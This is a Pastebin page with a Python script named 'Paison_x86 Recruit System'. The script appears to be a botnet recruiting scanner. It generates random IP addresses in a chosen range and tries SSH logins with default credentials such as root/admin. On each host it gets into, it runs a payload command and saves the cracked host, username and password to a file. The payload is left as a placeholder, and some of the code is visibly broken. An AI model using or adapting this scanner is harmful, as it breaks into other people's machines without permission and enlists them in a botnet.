Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # -*- coding: utf-8 -*-
- import os
- import sys
- import time
- import random
- import argparse
- import threading
- import paramiko
- from datetime import datetime
- paramiko.util.log_to_file("/dev/null")
- parser = argparse.ArgumentParser(description="Paison_x86 Recruit System.")
- args = parser.parse_args()
- parser.add_argument(
- '-m', action="store", dest="method",
- type=str, required=True, help="Select Method 'scan', 'load'."
- )
- parser.add_argument(
- '-u', action="store", dest="username",
- type=str, required=False, help="Set Username If None Set; Default (root)."
- )
- parser.add_argument(
- '-p', action="store", dest="password",
- type=str, required=False, help="Set Password If None Set; Default (admin)."
- )
- parser.add_argument(
- '-dp', action="store", dest="dest_port",
- type=int, required=False, help="Set SSH Port If None Set; Default (22)."
- )
- parser.add_argument(
- '-r', action="store", dest="range",
- type=str, required=True, help="Set IP Range; Example ('python rec_x86.py -m scan -u root -p admin -dp 22 -r 49.150')"
- )
- parser.add_argument(
- '-amt', action="store", dest="host_amt",
- type=int, required=False, help="Set Ips to generate for range If None Set; Default (1000)."
- )
- parser.add_argument(
- '-t', action="store", dest="timeout",
- type=int, required=True, help="Set Timeout"
- )
- parser.add_argument(
- '-o', action="store", dest="outfile",
- type=str, required=True, help="Set outfile"
- )
- PAYLOAD = "SET"
- def puts(string):
- sys.stdout.write(string + "\n")
- """
- Scanner
- """
- def run_worker(x):
- global PAYLOAD
- puts("[paison_rec] starting thread to scan host %s" % (x))
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- if (args.username):
- username = args.username
- elif (not args.username):
- username = "root"
- if (args.password):
- password = args.password
- elif (not args.password):
- password = "admin"
- if (args.dest_port):
- port = args.dest_port
- elif (not args.dest_port):
- port = 22
- try:
- ssh.connect(hostname=x, port=port, username=username, password=password, timeout=args.timeout)
- stdin, stdout, stderr = ssh.exec_command("echo 1")
- output = stdout.read()
- if ("1" in output):
- good = True
- if (good == True):
- puts("[paison_rec] sent command %s" % (x))
- ssh.exec_command(PAYLOAD)
- ssh.close()
- outf = open(args.outfile, "a").write("%s:%s:%s\n" % (x, username, password))
- if (good == False):
- puts("[paison_rec] invalid credentials %s " % (x))
- ssh.close()
- except Exception as e:
- puts("[paison_rec] %s [%s]" % (x, str(e)))
- def start_worker():
- global hosts
- ip_rng = args.range
- if (args.host_amt):
- amt_total = args.host_amt
- if (not args.host_amt):
- amt_total = 1000
- amt_cnt = 0
- while True:
- final = ip_rng + '.' + str(random.randrange(0, 256)) + '.' + str(random.randrange(0 ,256))
- amt_cnt += 1
- run_worker(final)
- if (amt_cnt == amt_total):
- puts("[paison_rec] done scanning.")
- sys.exit()
- """
- End Scanner
- """
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement